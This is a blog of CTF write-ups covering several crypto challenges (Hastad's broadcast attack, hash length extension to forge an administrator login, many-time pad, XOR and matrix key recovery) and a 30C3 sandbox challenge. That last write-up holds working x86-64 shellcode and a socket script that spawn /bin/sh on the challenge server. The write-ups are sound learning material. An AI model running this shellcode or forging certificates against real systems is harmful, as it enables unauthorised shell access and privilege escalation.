Saturday, January 18, 2014

Hack You CTF 2014 - Crypto 400 - CRYPTONET - [Team SegFault]

Challenge description says about use of strange protocol using RSA cryptosystem. We also have access to the client source code and a pcap file. Reading the code we could see that, client receives n and e value from remote system. This value is used to encrypt the message before sending it. The protocol has following format
Receive:
[2 bytes specifying the size zlib compressed e value][zlib compressed e value] [2 bytes specifying the size zlib compressed n value][zlib compressed e value]
Send:
[2 bytes specifying the size zlib compressed m^e mod n] [zlib compressed m^e mod n]
Analyzing the pcap file we could see that client has communicated with some 19 remote machines. First we must extract the values of e and n for all the communication. Initially I checked if those n values are having some common prime, but all the gcd checks ended up as relatively prime. e value was small, 17. Further reading on use of low public exponent took me to Hastad's Broadcast Attack. Code to solve the challenge using Hastad's Broadcast Attack is below:
#!/usr/bin/env python

from scapy.all import *
from sage.all import *
import zlib
import struct

PA = 24L
packets = rdpcap('packets.pcap')
client = '192.168.1.5'
size = 2 # size of e and n is packed into 2 bytes
list_n = []
list_m = []

for packet in packets:
    if packet[TCP].flags == PA:
       if packet.dst == client:
           src = packet[IP].src
           raw_data = packet[TCP].load

           size_e = struct.unpack('!H', raw_data[:size])[0] 
           e = int(zlib.decompress(raw_data[size: size + size_e]))

           size_n = struct.unpack('!H', raw_data[size + size_e: 2 * size + size_e])[0]
           n = int(zlib.decompress(raw_data[2 * size + size_e: ]))
           list_n.append(n)

        if packet[IP].src == client:
            raw_data = packet[TCP].load
            size_m = struct.unpack('!H', raw_data[:size])[0]
            m = int(zlib.decompress(raw_data[size: size + size_m]))
            list_m.append(m)

e_17 = crt(list_m, list_n)
factors = prime_factors(e_17)
enc_message = 1
for num in factors:
    enc_message *= num

print hex(enc_message).decode('hex')
# 'Secret message! CTF{336b2196a2932c399c0340bc41cd362d}\n'
Flag for the challenge is CTF{336b2196a2932c399c0340bc41cd362d}

Hack You CTF 2014 - Crypto 300 - Matrix - [Team SegFault]

We were given source code of encryptor and an encrypted file flag.wmv.out. The encryption algorithm performs the following operation

[*] Generates a 4x4 matrix as key using randint() function. An secret password is used as seed, which we dont know
[*] File is padded with NUL such that size(file) % 16 == 0
[*] Each 16 bytes of file is converted to 4x4 matrix and multiplied with key
[*] Each element of resultant 4x4 matrix is packed into 2 bytes of data and written to file

First we should find the key to perform decryption. The file extension leaves a clue wmv. Using wmv header as known plain text and encrypted header as cipher text, the key could be found as wmv_header.inverse() * enc_header. Once the key found, we have to write decryption routine such that encrypted file is processed in blocks for 32 bytes in a 4x4 matrix. Below is the code to solve this
#!/usr/bin/env python

from sage.all import *
import struct

wmv_header = [[0x30, 0x26, 0xB2, 0x75], [0x8E, 0x66, 0xCF, 0x11], [0xA6, 0xD9, 0x00, 0xAA], [0x00, 0x62, 0xCE, 0x6C]]

def Str2matrix(s):
    #convert string to 4x4 matrix
    return [map(lambda x : ord(x), list(s[i:i+4])) for i in xrange(0, len(s), 4)]
def Matrix2str(m):
    #convert matrix to string
    return ''.join(map(lambda x : ''.join(map(lambda y : struct.pack('!B', y), x)), m))
def PackedStr2matrix(s):
    matrix = [0] * 16 
    for i in range(0, len(s), 2):
        matrix[i/2] = struct.unpack('!H', s[i:i+2])[0]
    matrix = [matrix[i:i+4] for i in range(0,len(matrix), 4)]
    return matrix
def Multiply(A,B):
    #multiply two 4x4 matrix
    C = [[0 for i in xrange(4)] for j in xrange(4)]
    for i in xrange(4):
        for j in xrange(4):
            for k in xrange(4):
                C[i][j] += A[i][k] * B[k][j]
    return C
        
header =  matrix(wmv_header)
encrypted_wmv = open('flag.wmv.out','rb').read()
size = struct.unpack('!I', encrypted_wmv[:4])
enc_header = encrypted_wmv[4:36]
enc_header = matrix(PackedStr2matrix(enc_header))

# sage: header = matrix([[48, 38, 178, 117], [142, 102, 207, 17], [166, 217, 0, 170], [0, 98, 206, 108]])
# sage: enc_header = matrix([[6025, 10758, 8274, 14059], [10718, 11769, 5025, 15260], [19537, 18796, 14142, 15035], [7648, 8842, 7254, 17852]])
# sage: header.inverse() * enc_header
# [31 51 20  0]
# [53 10  6 45]
# [ 3 13  3 49]
# [17 48 56 31]
# sage: key.inverse()
# [  5732/2519421  96221/5038842 -41017/2519421 -10009/5038842]
# [ 65399/2519421 -67381/5038842  44957/2519421 -44311/5038842]
# [-49681/2519421  22679/5038842 -51064/2519421 128507/5038842]
# [-14660/2519421  10597/5038842  45127/2519421   4501/5038842]

key = header.inverse() * enc_header
key_inverse = key.inverse()

out = open('flag.wmv','wb')
encrypted_wmv = encrypted_wmv[4:]

for i in xrange(0, len(encrypted_wmv), 32):
    unpacked_data = matrix(PackedStr2matrix(encrypted_wmv[i:i+32]))
    decrypted = unpacked_data * key_inverse
    out.write(Matrix2str(decrypted))
out.close()

# CTF{b699a72e2692d16f65ec9626055aa740}
We get a decrypted wmv file which has the flag.
root@sagepc:~ $file flag.wmv
flag.wmv: Microsoft ASF
Flag for the challenege is CTF{b699a72e2692d16f65ec9626055aa740}

Hack You CTF 2014 - Crypto 200 - Hashme - [Team SegFault]

We have access to the source code of a remote service which allows users to register and login.

Register:
[*] Everytime a new login is created, hash of string SALT+login={username}&role=anonymous is computed
[*] Computed hash is appended to login={username}&role=anonymous, encrypted with a key using xor and then encoded using base64
[*] The generated base64 string is our certificate for login

Login:
[*] The user provided certificate is base64 decoded and decrypted using xor
[*] Hash of SALT+login={username}&role=anonymous is computed and checked with the user supplied hash. If it matches, then login is provided
[*] Administrator gets access to flag file

We have to find a way to get administrator access by forging the request. Ok, first we have to find the key used in the remote machine. This can be done by registering a user with long username
client sends: username as "A"*1000 # login={username}&role=anonymous is our known plain text
server sends: XOR(login={username}&role=anonymous + HASH) # cipher text
Using the plain text - cipher text combination, the KEY can be found.
Now we have to find a way to compute valid hash without knowing the SALT. Thanks to my friend who pointed me out the Hash Length Extension attack. The final 32 byte of hash comes from A,B,C and D of used hash algorithm
A = 0x67452301
B = 0xEFCDAB89
C = 0x98BADCFE
D = 0x10325476
X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)]

for i,ch in enumerate(s):
    k, l = ord(ch), i & 0x1f
    A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
    B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
    C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
    D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF

return ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))
We can use the HASH(login={username}&role=anonymous) sent by remote service as initial values, then compute the hash values of newly appended string without knowing the SALT. But one value we need to know is the length of SALT. This can be easily bruteforced.
Below is the code for checking login and administrator.
if hashme(SALT + auth_str) == hashsum:  
    data = parse_qs(auth_str, strict_parsing = True)
    print '[+] Welcome, %s!' % data['login'][0]
    if 'administrator' in data['role']:
    flag = open('flag.txt').readline()
    print flag
We need a craft a input as login={username}&role=anonymous&role=administrator so that parse_qs() sets data['role'] to ['anonymous','administrator'] and if 'administrator' in data['role'] is passed. Finally, find the valid hash value for string login={username}&role=anonymous&role=administrator to get the flag. Below is the code used
#!/usr/bin/env python

import base64
from math import sin

def hashme(length, s, state):
    # my secure hash function
    def F(X,Y,Z):
        return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF
    def G(X,Y,Z):
        return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF
    def H(X,Y,Z):
        return (X ^ Y ^ Y) & 0xFFFFFFFF
    def I(X,Y,Z):
        return (Y ^ (~Z | X)) & 0xFFFFFFFF
    def ROL(X,Y):
        return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF

    #A = 0x67452301
    #B = 0xEFCDAB89
    #C = 0x98BADCFE
    #D = 0x10325476
    B = int(hash[:8],16)
    A = int(hash[8:16],16)
    D = int(hash[16:24],16)
    C = int(hash[24:],16)

    X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)]

    for i,ch in enumerate(s):
        k, l = ord(ch), (i+length) & 0x1f
        A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
        B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
        C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
        D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF

    return ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))



login = "A"*1000 
user_data = 'login=%s&role=anonymous' % login

encoded_user_data = "RK5yZMJaRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJkUZfC1QZOZsfcZlXz4V1qj5TTm1j2pJnepqTLNKoeqfSlYQa9IahiQhPbSkaYBUTO0mRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJkUZfC1QZOZsfcZlXz4V1qj5TTm1j2pJnepqTLNKoeqfSlYQa9IahiQhPbSkaYBUTO0mRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJkUZfC1QZOZsfcZlXz4V1qj5TTm1j2pJnepqTLNKoeqfSlYQa9IahiQhPbSkaYBUTO0mRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJkUZfC1QZOZsfcZlXz4V1qj5TTm1j2pJnepqTLNKoeqfSlYQa9IahiQhPbSkaYBUTO0mRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJkUZfC1QZOZsfcZlXz4V1qj5TTm1j2pJnepqTLNKoeqfSlYQa9IahiQhPbSkaYBUTO0mRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJkUZfC1QZOZsfcZlXz4V1qj5TTm1j2pJnepqTLNKoeqfSlYQa9IahiQhPbSkaYBUTO0mRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJiIqUgB0GMZDU+ldcxAh5N2LaUrM/hIw788YPMU42cruOSc3SaRv/lVRTMODTfQl" 

decoded_user_data = base64.b64decode(encoded_user_data)

key = []
for i in range(len(user_data)):
    key.append(ord(decoded_user_data[i]) ^ ord(user_data[i])) 
key = key[:50]  # sizeof key is 50 bytes

# key
# [40, 193, 21, 13, 172, 103, 4, 88, 61, 108, 17, 37, 167, 45, 60, 135, 36, 30, 127, 84, 151, 233, 184, 12, 120, 244, 206, 43, 8, 220, 171, 43, 13, # 242, 11, 224, 171, 222, 11, 23, 81, 42, 147, 91, 199, 101, 96, 124, 245, 229]

login = "A"
user_data = 'login=%s&role=anonymous' % login
encoded_user_data = "RK5yZMJaRX5PA31AmkxS6EpnEjvimo81G82rT2q5n0k9ym/Tme47IDcT92z2UVJOxNEe+CE5"
decoded_user_data = base64.b64decode(encoded_user_data)

decrypted_data = ''

for i in range(len(decoded_user_data)):
    decrypted_data += chr(ord(decoded_user_data[i]) ^ key[i % len(key)])

target = "&role=administrator"
hash = decrypted_data[-32:]

length_of_salt = 0
length_of_user_data = len(user_data)

for length_of_salt in range(1,30):
    forged_hash = hashme(length_of_salt + length_of_user_data, target, hash)
    string_to_enc = user_data + target + forged_hash
    enc_payload = ''

    for i in range(len(string_to_enc)):
        enc_payload += chr(ord(string_to_enc[i]) ^ key[i % len(key)])

    print "%d : %s" % (length_of_salt, base64.b64encode(enc_payload))
We get successful login and flag, when length of SALT is 20 bytes.
RK5yZMJaRX5PA31AmkxS6EpnEjvimp5+F5irFmm4xkJjm3iU2b9/eCNM8TimAFcdwYca8CU8nQI8OVxbdRefTgzjFi0bMaPejw==
[+] Welcome, A!
CTF{40712b12d4be002e20f51424309a068c}

Hack You CTF 2014 - Crypto 100 - Easy One - [Team SegFault]

Source file of the encryption algorithm was given. Also, we have plain text and cipher text combination for one message
 FILE* input  = fopen(argv[1], "rb");
 FILE* output = fopen(argv[2], "wb");
 char k[] = "CENSORED";
 char c, p, t = 0;
 int i = 0;
 while ((p = fgetc(input)) != EOF) {
     c = (p + (k[i % strlen(k)] ^ t) + i*i) & 0xff;
     t = p;
     i++;
     fputc(c, output);
 }
Find the key:

[*] Algorithm coverts one byte of plain text to one byte of cipher text using equation of the form c = (p + (k[i % len(k)] ^ t) + i*i) mod 256
[*] Using the plain text - cipher text combination, the equation can be written as k[i] = ((c[i] - (i*i) - p[i]) ^ t) & 0xff to find the key. Here c,i,p and t are known values

The key used is VeryLongKeyYouWillNeverGuess. Once the key is found, the decryption algorithm is straight forward. Below is the code
#!/usr/bin/env python

plain_text = open('msg001','r').read().strip()
cipher_text = open('msg001.enc','r').read().strip()

plain_text = [ord(i) for i in plain_text]
cipher_text = [ord(i) for i in cipher_text]

t = 0
key = ''

for i in range(len(plain_text)):
    c = ((cipher_text[i] - (i*i) - plain_text[i]) ^ t) & 0xff
    key += chr(c)
    t = plain_text[i]
#print key

cipher_text = open('msg002.enc','r').read().strip()
key = 'VeryLongKeyYouWillNeverGuess'

key= [ord(i) for i in key]
cipher_text = [ord(i) for i in cipher_text]

t = 0
plain = ''

for i in range(len(cipher_text)):
    c = (cipher_text[i] - (key[i % len(key)] ^ t) - i*i) & 0xff
    plain += chr(c)
    t = c
print plain
Flag for the challenge is CTF{6d5eba48508efb13dc87220879306619}

Monday, December 30, 2013

30C3 CTF - Sandbox 300 - int80 [Team SegFault]

We were given a linux 64-bit ELF armed with PIE and NX. The executable performs the following operations

[*] Allocates 0x200 bytes of memory using memalign()
[*] Makes the area RWX with mprotect()
[*] Reads 0x1D8 of user data into the buffer using fread()
[*] Makes the area RX with mprotect()
[*] Calls the memory area with call rbx

Our aim is to execute shellcode in this buffer, since it has execute permission. But there are restrictions

[*] Some bytes are filtered - 0xCD, 0x80, 0x0F, 0x05, 0x34 before mprotect() is called. This means we cannot execute syscall, sysenter or int80
[*] Self mutating shellcode is not possible since write permission is removed
[*] The executable is PIE. So ROP is not very easy
[*] All the registers are cleared before user supplied input is executed

This is how the registers looked like when RIP points to user code
gdb-peda$ info registers 
rax            0x0 0x0
rbx            0x0 0x0
rcx            0x0 0x0
rdx            0x0 0x0
rsi            0x7ffff8201010 0x7ffff8201010
rdi            0x0 0x0
rbp            0x7fffffffe570 0x7fffffffe570
rsp            0x7fffffffe1c0 0x7fffffffe1c0
r8             0x0 0x0
r9             0x0 0x0
r10            0x0 0x0
r11            0x0 0x0
r12            0x0 0x0
r13            0x0 0x0
r14            0x0 0x0
r15            0x0 0x0
rip            0x7ffff8202028 0x7ffff8202028
eflags         0x10212 [ AF IF RF ]
cs             0x33 0x33
ss             0x2b 0x2b
ds             0x0 0x0
es             0x0 0x0
fs             0x0 0x0
gs             0x0 0x0
Except for RSI, RSP, RBP all registers are cleared. So we decided to find some valid pointers to libc functions near the address pointed by RSI or RSP. Lets check RSI
gdb-peda$ x/2gx $rsi
0x7f67b9d04010: 0x00007f6700000000 0x00007f67b81bbd88

gdb-peda$ vmmap 
Warning: not running or target is remote
Start              End                Perm Name
0x000008c0         0xffffffffff601000 rx-p /home/renorobert/Desktop/int80
0x00000238         0x00007f67b85e9000 r--p /home/renorobert/Desktop/int80
0x00201de0         0x00007fff2c58a000 rw-p /home/renorobert/Desktop/int80
At RSI+0x8 we have an address which can point into the GOT entry of the executable with a fixed offset.
gdb-peda$ p/x 0x00007f67b85e9000-0x00007f67b81bbd88
$2 = 0x42d278

gdb-peda$ x/16gx 0x00007f67b81bbd88+0x42d278
0x7f67b85e9000: 0x0000000000201df8 0x00007f67b83e62c8
0x7f67b85e9010: 0x00007f67b81d7200 0x00007f67b7e73ce0
0x7f67b85e9020 <fread@got.plt>:    0x00007f67b7e726f0 0x00007f67b7e24680
0x7f67b85e9030 <signal@got.plt>:   0x00007f67b83e7926 0x00007f67b83e7936
0x7f67b85e9040 <memalign@got.plt>: 0x00007f67b7e86a30 0x00007f67b7e85f40
0x7f67b85e9050 <fflush@got.plt>:   0x00007f67b7e71c90 0x00007f67b83e7976
0x7f67b85e9060 <mprotect@got.plt>: 0x00007f67b7ef30c0 0x00007f67b83e7996 
0x7f67b85e9070 <sysconf@got.plt>:  0x00007f67b7ec4580 0x00007f67b83e79b6
GOT entry of mprotect:
gdb-peda$ x/gx 0x00007f67b81bbd88+0x42d2d8
0x7f67b85e9060 <mprotect@got.plt>: 0x00007f67b7ef30c0

gdb-peda$ x/2i 0x00007f67b7ef30c0
   0x7f67b7ef30c0 <mprotect>: mov    eax,0xa
   0x7f67b7ef30c5 <mprotect+5>: syscall  # syscall gadget, our target
So the idea of payload is

[*] Read the address from [RSI+8]
[*] Compute the offset needed to make it point into the GOT entry of mprotect
[*] Read the GOT entry of mprotect()
[*] At mprotect()+5 resides a syscall gadget, use this to complete our shellcode

Shellcode:
mov rcx, [rsi+0x8]      # Read pointer
mov rcx, [rcx+0x42d2d8] # Our computed offset to mprotect GOT
lea rcx, [rcx + 0x4]
inc rcx                 # RCX holds the adddress of syscall gadget

mov rdi,0x0068732f6e69622f 
push   rdi
push   rsp
pop    rdi
push   rax
push   rdi
push   rsp
pop    rsi
cqo    
mov    al,0x3b          # execve("/bin/sh", ["/bin/sh", 0], 0)

call rcx                # syscall
The remote offset was little different from the local value we computed. But we got this right with a small bruteforce. Below is the final exploit
#!/usr/bin/env python

import socket
import struct
import time

ip = '88.198.89.210'
#ip = '127.0.0.1'
port = 1024

#local_offset = 0x42d2d8
remote_offset = 0x42d2b8 

shellcode = ( "\x48\x8b\x4e\x08" +
              "\x48\x8b\x89" + struct.pack("<I", remote_offset) +
              "\x48\x8d\x49\x04" +
              "\x48\xff\xc1" +
              "\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00" +
              "\x57" +
              "\x54" +
              "\x5f" +
              "\x50" +
              "\x57" +
              "\x54" +
              "\x5e" +
              "\x48\x99" +
              "\xb0\x3b" +
              "\xff\xd1" )

shellcode = shellcode + "A" * (0x1d8-len(shellcode)) # padding

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
soc.recv(128)
time.sleep(0.5)

soc.send(shellcode + "\n")
time.sleep(0.5)
soc.send("cat /home/user/flag\n")
         
print soc.recv(1024)
Flag for the challenge is 30C3_73c2424a3fa0e4e156aa695cf1656cf2

Tuesday, November 19, 2013

CSCAMP CTF Quals 2013 - Crypto 400 - [Team SegFault]

We were given two files for the challenge - public key and encrypted message. Reading the public key with openssl we got
[ctf@renorobert 400]$ openssl rsa -in public.pem -pubin -text -noout 
Public-Key: (768 bit)
Modulus:
    00:ca:d9:84:55:7c:97:e0:39:43:1a:22:6a:d7:27:
    f0:c6:d4:3e:f3:d4:18:46:9f:1b:37:50:49:b2:29:
    84:3e:e9:f8:3b:1f:97:73:8a:c2:74:f5:f6:1f:40:
    1f:21:f1:91:3e:4b:64:bb:31:b5:5a:38:d3:98:c0:
    df:ed:00:b1:39:2f:08:89:71:1c:44:b3:59:e7:97:
    6c:61:7f:cc:73:4f:06:e3:e9:5c:26:47:60:91:b5:
    2f:46:2e:79:41:3d:b5
Exponent: 65537 (0x10001)
[ctf@renorobert 400]$ openssl rsa -in public.pem -pubin -text -noout | grep '^ ' | tr -dc '[0-9a-f]'
00cad984557c97e039431a226ad727f0c6d43ef3d418469f1b375049b229843ee9f83b1f97738ac274f5f61f401f21f1913e4b64bb31b55a38d398c0dfed00b1392f0889711c44b359e7976c617fcc734f06e3e95c26476091b52f462e79413db5
Its a RSA-768 and the N value is already factorized. Factors are available publicly
p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
Generate private key for p and q values and decrypt the file
sage: p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
sage: q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
sage: phi_n = (p-1) * (q-1)
sage: e = 65537
sage: d = inverse_mod(e, phi_n)
sage: d
703813872109751212728960868893055483396831478279095442779477323396386489876250832944220079595968592852532432488202250497425262918616760886811596907743384527001944888359578241816763079495533278518938372814827410628647251148091159553
>>> from Crypto.PublicKey import RSA
>>> keypair = RSA.generate(1024)
>>> keypair.n = 1230186684530117755130494958384962720772853569595334792197322452151726400507263657518745202199786469389956474942774063845925192557326303453731548268507917026122142913461670429214311602221240479274737794080665351419597459856902143413
>>> keypair.e = 65537
>>> keypair.d = 703813872109751212728960868893055483396831478279095442779477323396386489876250832944220079595968592852532432488202250497425262918616760886811596907743384527001944888359578241816763079495533278518938372814827410628647251148091159553
>>> keypair.p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
>>> keypair.q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
>>> private = open('private.pem', 'w')
>>> private.write(keypair.exportKey())
>>> private.close()
[ctf@renorobert 400]$ openssl rsautl -decrypt -in message.enc -out /dev/tty -inkey private.pem
F4ct0r!zaTi0N
Flag for the challenge is F4ct0r!zaTi0N

CSCAMP CTF Quals 2013 - Crypto 300 - [Team SegFault]

We were given about 12 encrypted messages and the challenge description said Many Time Pad and 12th message holds the flag. Below is the encryption algorithm
import os

key = os.urandom(1024)
messages = [message.rstrip('\n') for message in open("messages")]

def xor_string(x, y):

    if len(x) > len(y):
        return ''.join([chr(ord(z) ^ ord(p)) for (z, p) in zip(x[:len(y)], y)])
    else:
        return ''.join([chr(ord(z) ^ ord(p)) for (z, p) in zip(x, y[:len(x)])])

print key.encode('hex')

for i in range(0, len(messages)):
    print "Message #{0}: {1}".format(i, xor_string(key, messages[i]).encode('hex'))
The messages are encrypted by XOR encryption using randomly chosen key whose length is equal to length of plain text. To decrypt the flag message we decided to bruteforce the key. Below is the idea:

[*] Bruteforce key in range of 0 to 0xff for each byte of 12 cipher texts
[*] See if the chosen key is able to decrypt a byte of cipher text to a printable character in charset [space, 0-9, A-Z, a-z] for all 12 given cipher texts
[*] Such a chosen key is a possible candidate to be final key

The above method created some collisions but was good enough to retrieve the flag. Below is the code
#!/usr/bin/env python
# cry300.py

ciphers = ['2838febbef072500b57a8e41119b051ad0174127b3f11208bd094d092bb9b6edfe0b655377a1dd6ccb5870d3ae250d91b9d097b5d13b569545c9fd0f3940195356d89ed9a99140b44fca2e5dffe40f37f07a',
'3a39badcc70c6143b47e981500974057dd100626a9f10e09af5d021731b9a8e1ec4c671c71abdd79cd5970fdac204a90f0c998f1f33012c14edeb802244215071edbccdeaddc14b14b862f1cece10572e56c80fb267a0a0b93e0458fdc3059c95ba33af02189', '2b23eebbdf0d6141b47ed9121081051ac816473be7a50e05fc17180438f4a4e2f90b6d5a38829269855523b4a0224e9aa2c297bfd37f028e0dd8af16244f514611df85d8b7c514a8428f271cfae70831eb298ef52772431cc1f65198d1740dc957ed29eb',
'2838febbef072500a57a950d0097404ed41b062bb5a8460cbd1309401af8b3f8e50b63527ce58965c01c37f5b5294887b9c899f1c030118459c4b8117048170702d68996b3d040b958996a5fece30d37e72985ff6a4c4f0992a54595dd743ece5aa33df933c489caa16c8290717a85d2d470f6a6529d', '2f39e8bbdc002452a33b9012459d0f1ace1b553fa2b21240b31b4d103aebb2e3e358224b71b1952de25334', '213fe9bbc00d2044e67a9705459b09499c164726b5a24617b90f084028f1a8f8e80b6e5573a0dd7aca533cb4a0320d82b8cf8ab4943e05c15ec2b21470461f4356d685c5e4d44db959ca3d59ffea4133f0298cba2c734b0584a54b9d993210d35b', '2838febbdc002400a36d9c0f0c9d071add10426fb3b90340b1121f0e36f7a6acfa4e705938b19568855a39f2b5290d91b1df', '2533eebbce092d4ce67a95120ad31355d11b0620a1f11208b95d050131fda7f9e15822537ee58d78d74c3fe7a4614b9aa28696b4c67f178f498cb1063151140702d689dbe4c55cbd5eca3954e8af0c33fa298af62f7e444895ed4196993517c51ef12bfa318f9882a87dd0d96b3586', '3d3effbbe4271364e6739c001797404ed41b0639a8b80505fc120b4026f6b4fead5c6d4e7cb6dd6ccb5870e3a0320d82a2c98ab9943e18850ddfaa022242515417c785d8a3', '3d3effbbe4271364e662961417d32755d85e5127aeb20e40bb1208137ffba4eae259671c61aa882dcd5970e7a9204199f0c097b6dc2b568742defd1a3f52514615dd83c4a0d85abb0a9e251cece30d72f7618cee6a774f4885ec40dbdf3b0b8147ec3bb82d8adde7a761d28d253897d5c822f4e94496af2235eb4bab26',
'2b23eebbc91b6146a969d9180a86404ec90c486fbebe1340bd1309402bf8aae9ad526d496ae59762d04e3ef1b861449ba4c9dea5dc3a569644c0b90622491454059e8ecfe4c55cb90a9d2b45ade00772f76188ba187a4e4892e045', '2437e3f9cd48384fb3718c1211950f4fd21a4b2ea9a80d05a50e4d092cb9b5e4e80b63526bb2987f85453fe1e1324890bb']

# possible charset space, 0-9, A-Z, a-z
charset = [32] + range(48, 58) + range(65, 91) + range(97, 123)
poss = []
exception = False

# for all characters in cipher text of flag message
for i in range(len(ciphers[11].decode('hex'))): 
    sol = []
    for key in range(256):   # for all possible keys
        pad_size = 0
        for cipher in range(len(ciphers)): # for each cipher text
            try:
                byte = ord(ciphers[cipher].decode('hex')[i])
            except IndexError:
                exception = True
                continue
            if (byte ^ key) in charset:  # check if a key can decrypt to printable text
                pad_size += 1
                if not exception:
                    if pad_size == len(ciphers):
                        sol.append(chr(byte ^ key))
                else:
                    if pad_size == len(ciphers) - 1:
                        sol.append(chr(byte ^ key))
    poss.append(sol)
print poss
[ctf@renorobert CSCAMP]$ python cry300.py
[['m', 'n', 'h', 'i', 'j', 'M', 'N', 'H', 'I', 'J'], ['g', 'f', 'e', 'c', 'b', 'a', 'm', 'l', 'G', 'F', 'E', 'C', 'B', 'A', 'M', 'L'], ['i', 'h', 'o', 'n', 'l', 'y'], ['q', 'p', 's', 'r', 'u', 't', 'w', 'v', 'b'], ['H', 'K', 'E', 'G', 'F', 'A', 'h', 'k', 'e', 'g', 'f', 'a'], [' '], ['y', 'l', 'm', 'o'], ['o', 'z', 'y'], ['u', 'c', 'b'], ['z', 'j'], ['u'], ['s', 'e'], ['t'], ['f'], ['o'], ['m', 'l', 'b', 'u'], ['n'], ['d'], ['m', 'y'], ['a'], ['n'], ['y'], ['k', 'y', 'z'], ['e'], ['l', 'n', 'y'], ['s'], [' '], ['i'], ['s'], [' '], ['u', 't', 'w', 'v', 'p', 'e', 'k', 'U', 'T', 'W', 'V', 'P', 'E', 'K'], ['h'], ['e'], [' ', '1', '0', '6', '5', '4'], ['a', 'w', 't'], ['n'], ['s'], ['w', 'a'], ['e'], ['r'], [' '], ['y'], ['o'], ['e', 'd', 'u'], [' '], ['s', 'b', 'c', 'a'], ['e'], ['S', 'X', 'Y', 'B', 'C', 'D', 'E', 'F', 'G', 's', 'x', 'y', 'b', 'c', 'd', 'e', 'f', 'g'], ['z', 's', 'r', 'k']]
Some characters decrypted without collisions, rest of the characters were guessed as youjustfoundmanykeys is the answer you seek. Flag for the challenge is youjustfoundmanykeys